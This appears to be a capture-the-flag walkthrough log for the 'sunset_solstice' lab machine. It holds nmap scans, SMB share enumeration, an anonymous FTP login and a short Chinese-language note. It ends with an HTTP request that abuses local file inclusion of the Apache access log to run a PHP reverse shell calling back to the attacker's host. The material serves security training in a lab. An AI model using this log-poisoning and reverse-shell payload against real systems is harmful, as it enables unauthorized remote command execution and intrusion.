┌──(kali㉿kali)-[~/Documents/sunset_solstice] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.151 --proxies http://192.168.56.151:3128 Not shown: 65525 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2121/tcp open ccproxy-ftp 3128/tcp open squid-http 8593/tcp open unknown 54787/tcp open unknown MAC Address: 08:00:27:40:D0:9B (Oracle VirtualBox virtual NIC)
┌──(kali㉿kali)-[~/Documents/sunset_solstice] └─$ sudo nmap -sT -sV -sC -O -p21,22,25,80,139,445,2121,3128,8593,54787,62524 192.168.56.151 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 21:41 EDT Nmap scan report for 192.168.56.151 Host is up (0.00045s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp pyftpdlib 1.5.6 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.56.151:21 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 5b:a7:37:fd:55:6c:f8:ea:03:f5:10:bc:94:32:07:18 (RSA) | 256 ab:da:6a:6f:97:3f:b2:70:3e:6c:2b:4b:0c:b7:f6:4c (ECDSA) |_ 256 ae:29:d4:e3:46:a1:b1:52:27:83:8f:8f:b0:c4:36:d1 (ED25519) 25/tcp open smtp Exim smtpd 4.92 | smtp-commands: solstice Hello nmap.scanme.org [192.168.56.106], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn\'t have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 2121/tcp open ftp pyftpdlib 1.5.6 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.56.151:2121 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drws------ 2 www-data www-data 4096 Jun 18 2020 pub 3128/tcp open http-proxy Squid http proxy 4.6 |_http-server-header: squid/4.6 |_http-title: ERROR: The requested URL could not be retrieved 8593/tcp open http PHP cli server 5.5 or later (PHP 7.3.14-1) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Site doesn\'t have a title (text/html; charset=UTF-8). 54787/tcp open http PHP cli server 5.5 or later (PHP 7.3.14-1) |_http-title: Site doesn\'t have a title (text/html; charset=UTF-8). 62524/tcp open tcpwrapped MAC Address: 08:00:27:40:D0:9B (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: solstice; OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp | smtp-vuln-cve2010-4344: | Exim version: 4.92 | Exim heap overflow vulnerability (CVE-2010-4344): | Exim (CVE-2010-4344): NOT VULNERABLE | Exim privileges escalation vulnerability (CVE-2010-4345): | Exim (CVE-2010-4345): NOT VULNERABLE |_ To confirm and exploit the vulnerabilities, run with --script-args='smtp-vuln-cve2010-4344.exploit' 80/tcp open http |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2121/tcp open ccproxy-ftp 3128/tcp open squid-http 8593/tcp open unknown 54787/tcp open unknown 62524/tcp closed unknown MAC Address: 08:00:27:40:D0:9B (Oracle VirtualBox virtual NIC)
Host script results: | smb-vuln-regsvc-dos: | VULNERABLE: | Service regsvc in Microsoft Windows systems vulnerable to denial of service | State: VULNERABLE | The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference | pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes | while working on smb-enum-sessions. |_ |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: false
┌──(kali㉿kali)-[~/Documents/sunset_solstice] └─$ sudo nmap --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.56.151 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 23:12 EDT Nmap scan report for 192.168.56.151 Host is up (0.00013s latency). Not shown: 992 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2121/tcp open ccproxy-ftp 3128/tcp open squid-http MAC Address: 08:00:27:40:D0:9B (Oracle VirtualBox virtual NIC)
Host script results: | smb-enum-shares: | account_used: guest | \\192.168.56.151\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (Samba 4.9.5-Debian) | Users: 2 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\192.168.56.151\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none>
┌──(kali㉿kali)-[~/Documents/sunset_solstice] └─$ ftp 192.168.56.151 2121 Connected to 192.168.56.151. 220 pyftpdlib 1.5.6 ready. Name (192.168.56.151:kali): anonymous 331 Username ok, send password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> binary 200 Type set to: Binary. ftp> ls 229 Entering extended passive mode (|||55617|). 125 Data connection already open. Transfer starting. drws------ 2 www-data www-data 4096 Jun 18 2020 pub 226 Transfer complete. ftp> cd pub 250 "/pub" is the current directory. ftp> ls 229 Entering extended passive mode (|||36105|). 125 Data connection already open. Transfer starting. 226 Transfer complete. ftp> pwd Remote directory: /pub
21 端口匿名登录需要密码,2121 端口匿名登录后只有一个文件夹,没有文件,尝试上传文件,提示没有权限。查看 Web 服务
GET /index.php?book=../../../../var/log/apache2/access.log&cmd=php+-r+'$sock%3dfsockopen("192.168.56.106",443)%3bexec("sh+<%263+>%263+2>%263")%3b' HTTP/1.1